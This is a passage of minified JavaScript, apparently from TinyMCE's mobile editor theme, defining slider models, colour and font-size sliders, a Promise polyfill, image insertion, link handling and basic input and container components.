centerMinEdge = minEdge.bind(function (edge) { return Optional.some(getXCenterOffSetOf(edge, spectrum)); }).getOr(minOffset); var centerMaxEdge = maxEdge.bind(function (edge) { return Optional.some(getXCenterOffSetOf(edge, spectrum)); }).getOr(maxOffset); var args = { min: minX(detail), max: maxX(detail), range: xRange(detail), value: value, hasMinEdge: hasLEdge(detail), hasMaxEdge: hasREdge(detail), minBound: getMinXBounds(spectrum), minOffset: minOffset, maxBound: getMaxXBounds(spectrum), maxOffset: maxOffset, centerMinEdge: centerMinEdge, centerMaxEdge: centerMaxEdge }; return findOffsetOfValue$2(args); }; var findPositionOfValue$1 = function (slider, spectrum, value, minEdge, maxEdge, detail) { var offset = findOffsetOfValue$1(spectrum, detail, value, minEdge, maxEdge); return getMinXBounds(spectrum) - getMinXBounds(slider) + offset; }; var setPositionFromValue$2 = function (slider, thumb, detail, edges) { var value = currentValue(detail); var pos = findPositionOfValue$1(slider, edges.getSpectrum(slider), value.x, edges.getLeftEdge(slider), edges.getRightEdge(slider), detail); var thumbRadius = get$5(thumb.element) / 2; set$5(thumb.element, 'left', pos - thumbRadius + 'px'); }; var onLeft$2 = handleMovement$2(-1); var onRight$2 = handleMovement$2(1); var onUp$2 = Optional.none; var onDown$2 = Optional.none; var edgeActions$2 = { 'top-left': Optional.none(), 'top': Optional.none(), 'top-right': Optional.none(), 'right': Optional.some(setToREdge), 'bottom-right': Optional.none(), 'bottom': Optional.none(), 'bottom-left': Optional.none(), 'left': Optional.some(setToLEdge) }; var HorizontalModel = /*#__PURE__*/Object.freeze({ __proto__: null, setValueFrom: setValueFrom$2, setToMin: setToMin$2, setToMax: setToMax$2, findValueOfOffset: findValueOfOffset$1, getValueFromEvent: getValueFromEvent$2, findPositionOfValue: findPositionOfValue$1, setPositionFromValue: setPositionFromValue$2, onLeft: onLeft$2, onRight: onRight$2, onUp: onUp$2, onDown: onDown$2, edgeActions: edgeActions$2 }); var fireSliderChange$1 = function (spectrum, value) { emitWith(spectrum, sliderChangeEvent(), { value: value }); }; var sliderValue$1 = function (y) { return { y: y }; }; var findValueOfOffset = function (spectrum, detail, top) { var args = { min: minY(detail), max: maxY(detail), range: yRange(detail), value: top, step: step(detail), snap: snap(detail), snapStart: snapStart(detail), rounded: rounded(detail), hasMinEdge: hasTEdge(detail), hasMaxEdge: hasBEdge(detail), minBound: getMinYBounds(spectrum), maxBound: getMaxYBounds(spectrum), screenRange: getYScreenRange(spectrum) }; return findValueOf(args); }; var setValueFrom$1 = function (spectrum, detail, value) { var yValue = findValueOfOffset(spectrum, detail, value); var sliderVal = sliderValue$1(yValue); fireSliderChange$1(spectrum, sliderVal); return yValue; }; var setToMin$1 = function (spectrum, detail) { var min = minY(detail); fireSliderChange$1(spectrum, sliderValue$1(min)); }; var setToMax$1 = function (spectrum, detail) { var max = maxY(detail); fireSliderChange$1(spectrum, sliderValue$1(max)); }; var moveBy$1 = function (direction, spectrum, detail) { var f = direction > 0 ? increaseBy : reduceBy; var yValue = f(currentValue(detail).y, minY(detail), maxY(detail), step(detail)); fireSliderChange$1(spectrum, sliderValue$1(yValue)); return Optional.some(yValue); }; var handleMovement$1 = function (direction) { return function (spectrum, detail) { return moveBy$1(direction, spectrum, detail).map(always); }; }; var getValueFromEvent$1 = function (simulatedEvent) { var pos = getEventSource(simulatedEvent); return pos.map(function (p) { return p.top; }); }; var findOffsetOfValue = function (spectrum, detail, value, minEdge, maxEdge) { var minOffset = 0; var maxOffset = getYScreenRange(spectrum); var centerMinEdge = minEdge.bind(function (edge) { return Optional.some(getYCenterOffSetOf(edge, spectrum)); }).getOr(minOffset); var centerMaxEdge = maxEdge.bind(function (edge) { return Optional.some(getYCenterOffSetOf(edge, spectrum)); }).getOr(maxOffset); var args = { min: minY(detail), max: maxY(detail), range: yRange(detail), value: value, hasMinEdge: hasTEdge(detail), hasMaxEdge: hasBEdge(detail), minBound: getMinYBounds(spectrum), minOffset: minOffset, maxBound: getMaxYBounds(spectrum), maxOffset: maxOffset, centerMinEdge: centerMinEdge, centerMaxEdge: centerMaxEdge }; return findOffsetOfValue$2(args); }; var findPositionOfValue = function (slider, spectrum, value, minEdge, maxEdge, detail) { var offset = findOffsetOfValue(spectrum, detail, value, minEdge, maxEdge); return getMinYBounds(spectrum) - getMinYBounds(slider) + offset; }; var setPositionFromValue$1 = function (slider, thumb, detail, edges) { var value = currentValue(detail); var pos = findPositionOfValue(slider, edges.getSpectrum(slider), value.y, edges.getTopEdge(slider), edges.getBottomEdge(slider), detail); var thumbRadius = get$7(thumb.element) / 2; set$5(thumb.element, 'top', pos - thumbRadius + 'px'); }; var onLeft$1 = Optional.none; var onRight$1 = Optional.none; var onUp$1 = handleMovement$1(-1); var onDown$1 = handleMovement$1(1); var edgeActions$1 = { 'top-left': Optional.none(), 'top': Optional.some(setToTEdge), 'top-right': Optional.none(), 'right': Optional.none(), 'bottom-right': Optional.none(), 'bottom': Optional.some(setToBEdge), 'bottom-left': Optional.none(), 'left': Optional.none() }; var VerticalModel = /*#__PURE__*/Object.freeze({ __proto__: null, setValueFrom: setValueFrom$1, setToMin: setToMin$1, setToMax: setToMax$1, findValueOfOffset: findValueOfOffset, getValueFromEvent: getValueFromEvent$1, findPositionOfValue: findPositionOfValue, setPositionFromValue: setPositionFromValue$1, onLeft: onLeft$1, onRight: onRight$1, onUp: onUp$1, onDown: onDown$1, edgeActions: edgeActions$1 }); var fireSliderChange = function (spectrum, value) { emitWith(spectrum, sliderChangeEvent(), { value: value }); }; var sliderValue = function (x, y) { return { x: x, y: y }; }; var setValueFrom = function (spectrum, detail, value) { var xValue = findValueOfOffset$1(spectrum, detail, value.left); var yValue = findValueOfOffset(spectrum, detail, value.top); var val = sliderValue(xValue, yValue); fireSliderChange(spectrum, val); return val; }; var moveBy = function (direction, isVerticalMovement, spectrum, detail) { var f = direction > 0 ? increaseBy : reduceBy; var xValue = isVerticalMovement ? currentValue(detail).x : f(currentValue(detail).x, minX(detail), maxX(detail), step(detail)); var yValue = !isVerticalMovement ? currentValue(detail).y : f(currentValue(detail).y, minY(detail), maxY(detail), step(detail)); fireSliderChange(spectrum, sliderValue(xValue, yValue)); return Optional.some(xValue); }; var handleMovement = function (direction, isVerticalMovement) { return function (spectrum, detail) { return moveBy(direction, isVerticalMovement, spectrum, detail).map(always); }; }; var setToMin = function (spectrum, detail) { var mX = minX(detail); var mY = minY(detail); fireSliderChange(spectrum, sliderValue(mX, mY)); }; var setToMax = function (spectrum, detail) { var mX = maxX(detail); var mY = maxY(detail); fireSliderChange(spectrum, sliderValue(mX, mY)); }; var getValueFromEvent = function (simulatedEvent) { return getEventSource(simulatedEvent); }; var setPositionFromValue = function (slider, thumb, detail, edges) { var value = currentValue(detail); var xPos = findPositionOfValue$1(slider, edges.getSpectrum(slider), value.x, edges.getLeftEdge(slider), edges.getRightEdge(slider), detail); var yPos = findPositionOfValue(slider, edges.getSpectrum(slider), value.y, edges.getTopEdge(slider), edges.getBottomEdge(slider), detail); var thumbXRadius = get$5(thumb.element) / 2; var thumbYRadius = get$7(thumb.element) / 2; set$5(thumb.element, 'left', xPos - thumbXRadius + 'px'); set$5(thumb.element, 'top', yPos - thumbYRadius + 'px'); }; var onLeft = handleMovement(-1, false); var onRight = handleMovement(1, false); var onUp = handleMovement(-1, true); var onDown = handleMovement(1, true); var edgeActions = { 'top-left': Optional.some(setToTLEdgeXY), 'top': Optional.some(setToTEdgeXY), 'top-right': Optional.some(setToTREdgeXY), 'right': Optional.some(setToREdgeXY), 'bottom-right': Optional.some(setToBREdgeXY), 'bottom': Optional.some(setToBEdgeXY), 'bottom-left': Optional.some(setToBLEdgeXY), 'left': Optional.some(setToLEdgeXY) }; var TwoDModel = /*#__PURE__*/Object.freeze({ __proto__: null, setValueFrom: setValueFrom, setToMin: setToMin, setToMax: setToMax, getValueFromEvent: getValueFromEvent, setPositionFromValue: setPositionFromValue, onLeft: onLeft, onRight: onRight, onUp: onUp, onDown: onDown, edgeActions: edgeActions }); var SliderSchema = [ defaulted('stepSize', 1), defaulted('onChange', noop), defaulted('onChoose', noop), defaulted('onInit', noop), defaulted('onDragStart', noop), defaulted('onDragEnd', noop), defaulted('snapToGrid', false), defaulted('rounded', true), option('snapStart'), requiredOf('model', choose$1('mode', { x: [ defaulted('minX', 0), defaulted('maxX', 100), customField('value', function (spec) { return Cell(spec.mode.minX); }), required$1('getInitialValue'), output('manager', HorizontalModel) ], y: [ defaulted('minY', 0), defaulted('maxY', 100), customField('value', function (spec) { return Cell(spec.mode.minY); }), required$1('getInitialValue'), output('manager', VerticalModel) ], xy: [ defaulted('minX', 0), defaulted('maxX', 100), defaulted('minY', 0), defaulted('maxY', 100), customField('value', function (spec) { return Cell({ x: spec.mode.minX, y: spec.mode.minY }); }), required$1('getInitialValue'), output('manager', TwoDModel) ] })), field$1('sliderBehaviours', [ Keying, Representing ]), customField('mouseIsDown', function () { return Cell(false); }) ]; var mouseReleased = constant$1('mouse.released'); var sketch$9 = function (detail, components, _spec, _externals) { var _a; var getThumb = function (component) { return getPartOrDie(component, detail, 'thumb'); }; var getSpectrum = function (component) { return getPartOrDie(component, detail, 'spectrum'); }; var getLeftEdge = function (component) { return getPart(component, detail, 'left-edge'); }; var getRightEdge = function (component) { return getPart(component, detail, 'right-edge'); }; var getTopEdge = function (component) { return getPart(component, detail, 'top-edge'); }; var getBottomEdge = function (component) { return getPart(component, detail, 'bottom-edge'); }; var modelDetail = detail.model; var model = modelDetail.manager; var refresh = function (slider, thumb) { model.setPositionFromValue(slider, thumb, detail, { getLeftEdge: getLeftEdge, getRightEdge: getRightEdge, getTopEdge: getTopEdge, getBottomEdge: getBottomEdge, getSpectrum: getSpectrum }); }; var setValue = function (slider, newValue) { modelDetail.value.set(newValue); var thumb = getThumb(slider); refresh(slider, thumb); }; var changeValue = function (slider, newValue) { setValue(slider, newValue); var thumb = getThumb(slider); detail.onChange(slider, thumb, newValue); return Optional.some(true); }; var resetToMin = function (slider) { model.setToMin(slider, detail); }; var resetToMax = function (slider) { model.setToMax(slider, detail); }; var choose = function (slider) { var fireOnChoose = function () { getPart(slider, detail, 'thumb').each(function (thumb) { var value = modelDetail.value.get(); detail.onChoose(slider, thumb, value); }); }; var wasDown = detail.mouseIsDown.get(); detail.mouseIsDown.set(false); if (wasDown) { fireOnChoose(); } }; var onDragStart = function (slider, simulatedEvent) { simulatedEvent.stop(); detail.mouseIsDown.set(true); detail.onDragStart(slider, getThumb(slider)); }; var onDragEnd = function (slider, simulatedEvent) { simulatedEvent.stop(); detail.onDragEnd(slider, getThumb(slider)); choose(slider); }; return { uid: detail.uid, dom: detail.dom, components: components, behaviours: augment(detail.sliderBehaviours, [ Keying.config({ mode: 'special', focusIn: function (slider) { return getPart(slider, detail, 'spectrum').map(Keying.focusIn).map(always); } }), Representing.config({ store: { mode: 'manual', getValue: function (_) { return modelDetail.value.get(); } } }), Receiving.config({ channels: (_a = {}, _a[mouseReleased()] = { onReceive: choose }, _a) }) ]), events: derive$3([ run(sliderChangeEvent(), function (slider, simulatedEvent) { changeValue(slider, simulatedEvent.event.value); }), runOnAttached(function (slider, _simulatedEvent) { var getInitial = modelDetail.getInitialValue(); modelDetail.value.set(getInitial); var thumb = getThumb(slider); refresh(slider, thumb); var spectrum = getSpectrum(slider); detail.onInit(slider, thumb, spectrum, modelDetail.value.get()); }), run(touchstart(), onDragStart), run(touchend(), onDragEnd), run(mousedown(), onDragStart), run(mouseup(), onDragEnd) ]), apis: { resetToMin: resetToMin, resetToMax: resetToMax, setValue: setValue, refresh: refresh }, domModification: { styles: { position: 'relative' } } }; }; var Slider = composite({ name: 'Slider', configFields: SliderSchema, partFields: SliderParts, factory: sketch$9, apis: { setValue: function (apis, slider, value) { apis.setValue(slider, value); }, resetToMin: function (apis, slider) { apis.resetToMin(slider); }, resetToMax: function (apis, slider) { apis.resetToMax(slider); }, refresh: function (apis, slider) { apis.refresh(slider); } } }); var button = function (realm, clazz, makeItems, editor) { return forToolbar(clazz, function () { var items = makeItems(); realm.setContextToolbar([{ label: clazz + ' group', items: items }]); }, {}, editor); }; var BLACK = -1; var makeSlider$1 = function (spec$1) { var getColor = function (hue) { if (hue < 0) { return 'black'; } else if (hue > 360) { return 'white'; } else { return 'hsl(' + hue + ', 100%, 50%)'; } }; var onInit = function (slider, thumb, spectrum, value) { var color = getColor(value.x()); set$5(thumb.element, 'background-color', color); }; var onChange = function (slider, thumb, value) { var color = getColor(value.x()); set$5(thumb.element, 'background-color', color); spec$1.onChange(slider, thumb, color); }; return Slider.sketch({ dom: dom$1('
    '), components: [ Slider.parts['left-edge'](spec('
    ')), Slider.parts.spectrum({ dom: dom$1('
    '), components: [spec('
    ')], behaviours: derive$2([Toggling.config({ toggleClass: resolve('thumb-active') })]) }), Slider.parts['right-edge'](spec('
    ')), Slider.parts.thumb({ dom: dom$1('
    '), behaviours: derive$2([Toggling.config({ toggleClass: resolve('thumb-active') })]) }) ], onChange: onChange, onDragStart: function (slider, thumb) { Toggling.on(thumb); }, onDragEnd: function (slider, thumb) { Toggling.off(thumb); }, onInit: onInit, stepSize: 10, model: { mode: 'x', minX: 0, maxX: 360, getInitialValue: function () { return { x: spec$1.getInitialValue() }; } }, sliderBehaviours: derive$2([orientation(Slider.refresh)]) }); }; var makeItems$1 = function (spec) { return [makeSlider$1(spec)]; }; var sketch$8 = function (realm, editor) { var spec = { onChange: function (slider, thumb, color) { editor.undoManager.transact(function () { editor.formatter.apply('forecolor', { value: color }); editor.nodeChanged(); }); }, getInitialValue: constant$1(BLACK) }; return button(realm, 'color-levels', function () { return makeItems$1(spec); }, editor); }; var candidatesArray = [ '9px', '10px', '11px', '12px', '14px', '16px', '18px', '20px', '24px', '32px', '36px' ]; var defaultSize = 'medium'; var defaultIndex = 2; var indexToSize = function (index) { return Optional.from(candidatesArray[index]); }; var sizeToIndex = function (size) { return findIndex$1(candidatesArray, function (v) { return v === size; }); }; var getRawOrComputed = function (isRoot, rawStart) { var optStart = isElement(rawStart) ? Optional.some(rawStart) : parent(rawStart).filter(isElement); return optStart.map(function (start) { var inline = closest$2(start, function (elem) { return getRaw(elem, 'font-size').isSome(); }, isRoot).bind(function (elem) { return getRaw(elem, 'font-size'); }); return inline.getOrThunk(function () { return get$8(start, 'font-size'); }); }).getOr(''); }; var getSize = function (editor) { var node = editor.selection.getStart(); var elem = SugarElement.fromDom(node); var root = SugarElement.fromDom(editor.getBody()); var isRoot = function (e) { return eq(root, e); }; var elemSize = getRawOrComputed(isRoot, elem); return find$2(candidatesArray, function (size) { return elemSize === size; }).getOr(defaultSize); }; var applySize = function (editor, value) { var currentValue = getSize(editor); if (currentValue !== value) { editor.execCommand('fontSize', false, value); } }; var get$4 = function (editor) { var size = getSize(editor); return sizeToIndex(size).getOr(defaultIndex); }; var apply = function (editor, index) { indexToSize(index).each(function (size) { applySize(editor, size); }); }; var candidates = constant$1(candidatesArray); var schema$9 = objOfOnly([ required$1('getInitialValue'), required$1('onChange'), required$1('category'), required$1('sizes') ]); var sketch$7 = function (rawSpec) { var spec$1 = asRawOrDie$1('SizeSlider', schema$9, rawSpec); var isValidValue = function (valueIndex) { return valueIndex >= 0 && valueIndex < spec$1.sizes.length; }; var onChange = function (slider, thumb, valueIndex) { var index = valueIndex.x(); if (isValidValue(index)) { spec$1.onChange(index); } }; return Slider.sketch({ dom: { tag: 'div', classes: [ resolve('slider-' + spec$1.category + '-size-container'), resolve('slider'), resolve('slider-size-container') ] }, onChange: onChange, onDragStart: function (slider, thumb) { Toggling.on(thumb); }, onDragEnd: function (slider, thumb) { Toggling.off(thumb); }, model: { mode: 'x', minX: 0, maxX: spec$1.sizes.length - 1, getInitialValue: function () { return { x: spec$1.getInitialValue() }; } }, stepSize: 1, snapToGrid: true, sliderBehaviours: derive$2([orientation(Slider.refresh)]), components: [ Slider.parts.spectrum({ dom: dom$1('
    '), components: [spec('
    ')] }), Slider.parts.thumb({ dom: dom$1('
    '), behaviours: derive$2([Toggling.config({ toggleClass: resolve('thumb-active') })]) }) ] }); }; var sizes = candidates(); var makeSlider = function (spec) { return sketch$7({ onChange: spec.onChange, sizes: sizes, category: 'font', getInitialValue: spec.getInitialValue }); }; var makeItems = function (spec$1) { return [ spec(''), makeSlider(spec$1), spec('') ]; }; var sketch$6 = function (realm, editor) { var spec = { onChange: function (value) { apply(editor, value); }, getInitialValue: function () { return get$4(editor); } }; return button(realm, 'font-size', function () { return makeItems(spec); }, editor); }; var record = function (spec) { var uid = isSketchSpec$1(spec) && hasNonNullableKey(spec, 'uid') ? spec.uid : generate$2('memento'); var get = function (anyInSystem) { return anyInSystem.getSystem().getByUid(uid).getOrDie(); }; var getOpt = function (anyInSystem) { return anyInSystem.getSystem().getByUid(uid).toOptional(); }; var asSpec = function () { return __assign(__assign({}, spec), { uid: uid }); }; return { get: get, getOpt: getOpt, asSpec: asSpec }; }; var exports$1 = {}, module = { exports: exports$1 }; (function (define, exports, module, require) { (function (global, factory) { typeof exports === 'object' && typeof module !== 'undefined' ? module.exports = factory() : typeof define === 'function' && define.amd ? define(factory) : (global = typeof globalThis !== 'undefined' ? globalThis : global || self, global.EphoxContactWrapper = factory()); }(this, function () { var commonjsGlobal = typeof globalThis !== 'undefined' ? globalThis : typeof window !== 'undefined' ? window : typeof global !== 'undefined' ? global : typeof self !== 'undefined' ? self : {}; var promise = { exports: {} }; (function (module) { (function (root) { var setTimeoutFunc = setTimeout; function noop() { } function bind(fn, thisArg) { return function () { fn.apply(thisArg, arguments); }; } function Promise(fn) { if (typeof this !== 'object') throw new TypeError('Promises must be constructed via new'); if (typeof fn !== 'function') throw new TypeError('not a function'); this._state = 0; this._handled = false; this._value = undefined; this._deferreds = []; doResolve(fn, this); } function handle(self, deferred) { while (self._state === 3) { self = self._value; } if (self._state === 0) { self._deferreds.push(deferred); return; } self._handled = true; Promise._immediateFn(function () { var cb = self._state === 1 ? deferred.onFulfilled : deferred.onRejected; if (cb === null) { (self._state === 1 ? resolve : reject)(deferred.promise, self._value); return; } var ret; try { ret = cb(self._value); } catch (e) { reject(deferred.promise, e); return; } resolve(deferred.promise, ret); }); } function resolve(self, newValue) { try { if (newValue === self) throw new TypeError('A promise cannot be resolved with itself.'); if (newValue && (typeof newValue === 'object' || typeof newValue === 'function')) { var then = newValue.then; if (newValue instanceof Promise) { self._state = 3; self._value = newValue; finale(self); return; } else if (typeof then === 'function') { doResolve(bind(then, newValue), self); return; } } self._state = 1; self._value = newValue; finale(self); } catch (e) { reject(self, e); } } function reject(self, newValue) { self._state = 2; self._value = newValue; finale(self); } function finale(self) { if (self._state === 2 && self._deferreds.length === 0) { Promise._immediateFn(function () { if (!self._handled) { Promise._unhandledRejectionFn(self._value); } }); } for (var i = 0, len = self._deferreds.length; i < len; i++) { handle(self, self._deferreds[i]); } self._deferreds = null; } function Handler(onFulfilled, onRejected, promise) { this.onFulfilled = typeof onFulfilled === 'function' ? onFulfilled : null; this.onRejected = typeof onRejected === 'function' ? onRejected : null; this.promise = promise; } function doResolve(fn, self) { var done = false; try { fn(function (value) { if (done) return; done = true; resolve(self, value); }, function (reason) { if (done) return; done = true; reject(self, reason); }); } catch (ex) { if (done) return; done = true; reject(self, ex); } } Promise.prototype['catch'] = function (onRejected) { return this.then(null, onRejected); }; Promise.prototype.then = function (onFulfilled, onRejected) { var prom = new this.constructor(noop); handle(this, new Handler(onFulfilled, onRejected, prom)); return prom; }; Promise.all = function (arr) { var args = Array.prototype.slice.call(arr); return new Promise(function (resolve, reject) { if (args.length === 0) return resolve([]); var remaining = args.length; function res(i, val) { try { if (val && (typeof val === 'object' || typeof val === 'function')) { var then = val.then; if (typeof then === 'function') { then.call(val, function (val) { res(i, val); }, reject); return; } } args[i] = val; if (--remaining === 0) { resolve(args); } } catch (ex) { reject(ex); } } for (var i = 0; i < args.length; i++) { res(i, args[i]); } }); }; Promise.resolve = function (value) { if (value && typeof value === 'object' && value.constructor === Promise) { return value; } return new Promise(function (resolve) { resolve(value); }); }; Promise.reject = function (value) { return new Promise(function (resolve, reject) { reject(value); }); }; Promise.race = function (values) { return new Promise(function (resolve, reject) { for (var i = 0, len = values.length; i < len; i++) { values[i].then(resolve, reject); } }); }; Promise._immediateFn = typeof setImmediate === 'function' ? function (fn) { setImmediate(fn); } : function (fn) { setTimeoutFunc(fn, 0); }; Promise._unhandledRejectionFn = function _unhandledRejectionFn(err) { if (typeof console !== 'undefined' && console) { console.warn('Possible Unhandled Promise Rejection:', err); } }; Promise._setImmediateFn = function _setImmediateFn(fn) { Promise._immediateFn = fn; }; Promise._setUnhandledRejectionFn = function _setUnhandledRejectionFn(fn) { Promise._unhandledRejectionFn = fn; }; if (module.exports) { module.exports = Promise; } else if (!root.Promise) { root.Promise = Promise; } }(commonjsGlobal)); }(promise)); var promisePolyfill = promise.exports; var Global = function () { if (typeof window !== 'undefined') { return window; } else { return Function('return this;')(); } }(); var promisePolyfill_1 = { boltExport: Global.Promise || promisePolyfill }; return promisePolyfill_1; })); }(undefined, exports$1, module)); var Promise$1 = module.exports.boltExport; var blobToDataUri = function (blob) { return new Promise$1(function (resolve) { var reader = new FileReader(); reader.onloadend = function () { resolve(reader.result); }; reader.readAsDataURL(blob); }); }; var blobToBase64$1 = function (blob) { return blobToDataUri(blob).then(function (dataUri) { return dataUri.split(',')[1]; }); }; var blobToBase64 = function (blob) { return blobToBase64$1(blob); }; var addImage = function (editor, blob) { blobToBase64(blob).then(function (base64) { editor.undoManager.transact(function () { var cache = editor.editorUpload.blobCache; var info = cache.create(generate$4('mceu'), blob, base64); cache.add(info); var img = editor.dom.createHTML('img', { src: info.blobUri() }); editor.insertContent(img); }); }); }; var extractBlob = function (simulatedEvent) { var event = simulatedEvent.event.raw; var files = event.target.files || event.dataTransfer.files; return Optional.from(files[0]); }; var sketch$5 = function (editor) { var pickerDom = { tag: 'input', attributes: { accept: 'image/*', type: 'file', title: '' }, styles: { visibility: 'hidden', position: 'absolute' } }; var memPicker = record({ dom: pickerDom, events: derive$3([ cutter(click()), run(change(), function (picker, simulatedEvent) { extractBlob(simulatedEvent).each(function (blob) { addImage(editor, blob); }); }) ]) }); return Button.sketch({ dom: getToolbarIconButton('image', editor), components: [memPicker.asSpec()], action: function (button) { var picker = memPicker.get(button); picker.element.dom.click(); } }); }; var get$3 = function (element) { return element.dom.textContent; }; var set$3 = function (element, value) { element.dom.textContent = value; }; var isNotEmpty = function (val) { return val.length > 0; }; var defaultToEmpty = function (str) { return str === undefined || str === null ? '' : str; }; var noLink = function (editor) { var text = editor.selection.getContent({ format: 'text' }); return { url: '', text: text, title: '', target: '', link: Optional.none() }; }; var fromLink = function (link) { var text = get$3(link); var url = get$b(link, 'href'); var title = get$b(link, 'title'); var target = get$b(link, 'target'); return { url: defaultToEmpty(url), text: text !== url ? defaultToEmpty(text) : '', title: defaultToEmpty(title), target: defaultToEmpty(target), link: Optional.some(link) }; }; var getInfo = function (editor) { return query(editor).fold(function () { return noLink(editor); }, function (link) { return fromLink(link); }); }; var wasSimple = function (link) { var prevHref = get$b(link, 'href'); var prevText = get$3(link); return prevHref === prevText; }; var getTextToApply = function (link, url, info) { return info.text.toOptional().filter(isNotEmpty).fold(function () { return wasSimple(link) ? Optional.some(url) : Optional.none(); }, Optional.some); }; var unlinkIfRequired = function (editor, info) { var activeLink = info.link.bind(identity); activeLink.each(function (_link) { editor.execCommand('unlink'); }); }; var getAttrs = function (url, info) { var attrs = {}; attrs.href = url; info.title.toOptional().filter(isNotEmpty).each(function (title) { attrs.title = title; }); info.target.toOptional().filter(isNotEmpty).each(function (target) { attrs.target = target; }); return attrs; }; var applyInfo = function (editor, info) { info.url.toOptional().filter(isNotEmpty).fold(function () { unlinkIfRequired(editor, info); }, function (url) { var attrs = getAttrs(url, info); var activeLink = info.link.bind(identity); activeLink.fold(function () { var text = info.text.toOptional().filter(isNotEmpty).getOr(url); editor.insertContent(editor.dom.createHTML('a', attrs, editor.dom.encode(text))); }, function (link) { var text = getTextToApply(link, url, info); setAll$1(link, attrs); text.each(function (newText) { set$3(link, newText); }); }); }); }; var query = function (editor) { var start = SugarElement.fromDom(editor.selection.getStart()); return closest$1(start, 'a'); }; var platform = detect$1(); var preserve$1 = function (f, editor) { var rng = editor.selection.getRng(); f(); editor.selection.setRng(rng); }; var forAndroid = function (editor, f) { var wrapper = platform.os.isAndroid() ? preserve$1 : apply$1; wrapper(f, editor); }; var events$4 = function (name, eventHandlers) { var events = derive$3(eventHandlers); return create$5({ fields: [required$1('enabled')], name: name, active: { events: constant$1(events) } }); }; var config = function (name, eventHandlers) { var me = events$4(name, eventHandlers); return { key: name, value: { config: {}, me: me, configAsRaw: constant$1({}), initialConfig: {}, state: NoState } }; }; var getCurrent = function (component, composeConfig, _composeState) { return composeConfig.find(component); }; var ComposeApis = /*#__PURE__*/Object.freeze({ __proto__: null, getCurrent: getCurrent }); var ComposeSchema = [required$1('find')]; var Composing = create$5({ fields: ComposeSchema, name: 'composing', apis: ComposeApis }); var factory$4 = function (detail) { var _a = detail.dom, attributes = _a.attributes, domWithoutAttributes = __rest(_a, ['attributes']); return { uid: detail.uid, dom: __assign({ tag: 'div', attributes: __assign({ role: 'presentation' }, attributes) }, domWithoutAttributes), components: detail.components, behaviours: get$6(detail.containerBehaviours), events: detail.events, domModification: detail.domModification, eventOrder: detail.eventOrder }; }; var Container = single({ name: 'Container', factory: factory$4, configFields: [ defaulted('components', []), field$1('containerBehaviours', []), defaulted('events', {}), defaulted('domModification', {}), defaulted('eventOrder', {}) ] }); var factory$3 = function (detail) { return { uid: detail.uid, dom: detail.dom, behaviours: SketchBehaviours.augment(detail.dataBehaviours, [ Representing.config({ store: { mode: 'memory', initialValue: detail.getInitialValue() } }), Composing.config({ find: Optional.some }) ]), events: derive$3([runOnAttached(function (component, _simulatedEvent) { Representing.setValue(component, detail.getInitialValue()); })]) }; }; var DataField = single({ name: 'DataField', factory: factory$3, configFields: [ required$1('uid'), required$1('dom'), required$1('getInitialValue'), SketchBehaviours.field('dataBehaviours', [ Representing, Composing ]) ] }); var get$2 = function (element) { return element.dom.value; }; var set$2 = function (element, value) { if (value === undefined) { throw new Error('Value.set was undefined'); } element.dom.value = value; }; var schema$8 = constant$1([ option('data'), defaulted('inputAttributes', {}), defaulted('inputStyles', {}), defaulted('tag', 'input'), defaulted('inputClasses', []), onHandler('onSetValue'), defaulted('styles', {}), defaulted('eventOrder', {}), field$1('inputBehaviours', [ Representing, Focusing ]), defaulted('selectOnFocus', true) ]); var focusBehaviours = function (detail) { return derive$2([Focusing.config({ onFocus: !detail.selectOnFocus ? noop : function (component) { var input = component.element; var value = get$2(input); input.dom.setSelectionRange(0, value.length); } })]); }; var behaviours = function (detail) { return __assign(__assign({}, focusBehaviours(detail)), augment(detail.inputBehaviours, [Representing.config({ store: __assign(__assign({ mode: 'manual' }, detail.data.map(function (data) { return { initialValue: data }; }).getOr({})), { getValue: function (input) { return get$2(input.element); }, setValue: function (input, data) { var current = get$2(input.element); if (current !== data) { set$2(input.element, data); } } }), onSetValue: detail.onSetValue })])); }; var dom = function (detail) { return { tag: detail.tag, attributes: __assign({ type: 'text' }, detail.inputAttributes), styles: detail.inputStyles, classes: detail.inputClasses }; }; var factory$2 = function (detail, _spec) { return { uid: detail.uid, dom: dom(detail), components: [], behaviours: behaviours(detail), eventOrder: detail.eventOrder }; }; var Input = single({ name: 'Input', configFields: schema$8(), factory: factory$2 }); var exhibit$2 = function (base, tabConfig) { return nu$3({ attributes: wrapAll([{ key: tabConfig.tabAttr, value: 'true' }]) }); }; var ActiveTabstopping = /*#__PURE__*/Object.freeze({ __proto__: null, exhibit: exhibit$2 }); var TabstopSchema = [defaulted('tabAttr', 'data-alloy-tabstop')]; var Tabstopping = create$5({ fields: TabstopSchema, name: 'tabstopping', active: ActiveTabstopping }); var global$3 = tinymce.util.Tools.resolve('tinymce.util.I18n'); var clearInputBehaviour = 'input-clearing'; var field = function (name, placeholder) { var inputSpec = record(Input.sketch({ inputAttributes: { placeholder: global$3.translate(placeholder) }, onSetValue: function (input, _data) { emit(input, input$1()); }, inputBehaviours: derive$2([ Composing.config({ find: Optional.some }), Tabstopping.config({}), Keying.config({ mode: 'execution' }) ]), selectOnFocus: false })); var buttonSpec = record(Button.sketch({ dom: dom$1(''), action: function (button) { var input = inputSpec.get(button); Representing.setValue(input, ''); } })); return { name: name, spec: Container.sketch({ dom: dom$1('
    '), components: [ inputSpec.asSpec(), buttonSpec.asSpec() ], containerBehaviours: derive$2([ Toggling.config({ toggleClass: resolve('input-container-empty') }), Composing.config({ find: function (comp) { return Optional.some(inputSpec.get(comp)); } }), config(clearInputBehaviour, [run(input$1(), function (iContainer) { var input = inputSpec.get(iContainer); var val = Representing.getValue(input); var f = val.length > 0 ? Toggling.off : Toggling.on; f(iContainer); })]) ]) }) }; }; var hidden = function (name) { return { name: name, spec: DataField.sketch({ dom: { tag: 'span', styles: { display: 'none' } }, getInitialValue: function () { return Optional.none(); } }) }; }; var nativeDisabled = [ 'input', 'button', 'textarea', 'select' ]; var onLoad = function (component, disableConfig, disableState) { var f = disableConfig.disabled() ? disable : enable; f(component, disableConfig); }; var hasNative = function (component, config) { return config.useNative === true && contains$1(nativeDisabled, name$1(component.element)); }; var nativeIsDisabled = function (component) { return has$1(component.element, 'disabled'); }; var nativeDisable = function (component) { set$8(component.element, 'disabled', 'disabled'); }; var nativeEnable = function (component) { remove$6(component.element, 'disabled'); }; var ariaIsDisabled = function (component) { return get$b(component.element, 'aria-disabled') === 'true'; }; var ariaDisable = function (component) { set$8(component.element, 'aria-disabled', 'true'); }; var ariaEnable = function (component) { set$8(component.element, 'aria-disabled', 'false'); }; var 